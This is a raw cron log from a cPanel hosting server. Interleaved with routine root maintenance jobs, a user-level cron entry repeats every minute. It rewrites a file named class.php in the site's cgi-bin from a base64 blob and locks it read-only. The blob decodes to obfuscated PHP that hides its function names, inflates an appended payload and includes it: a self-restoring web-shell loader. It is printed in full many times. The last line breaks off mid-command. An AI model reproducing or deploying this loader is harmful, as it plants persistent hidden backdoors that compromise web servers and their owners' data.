Apr 12 05:48:01 server CROND[29357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:49:01 server CROND[29416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:50:01 server CROND[29468]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 05:50:01 server CROND[29469]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 05:50:01 server CROND[29472]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 05:50:01 server CROND[29474]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 05:50:01 server CROND[29479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:51:01 server CROND[29696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:52:01 server CROND[29764]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Apr 12 05:52:01 server CROND[29765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:53:01 server CROND[29843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:54:01 server CROND[29891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:55:01 server CROND[29943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:55:01 server CROND[29944]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 05:55:01 server CROND[29945]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 05:56:01 server CROND[30137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:57:01 server CROND[30185]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 05:57:01 server CROND[30186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:58:01 server CROND[30231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:59:01 server CROND[30293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:00:01 server CROND[30358]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 06:00:01 server CROND[30359]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 06:00:01 server CROND[30360]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 06:00:01 server CROND[30361]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Apr 12 06:00:01 server CROND[30362]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 12 06:00:01 server CROND[30367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:01:01 server CROND[30492]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 06:01:01 server CROND[30493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 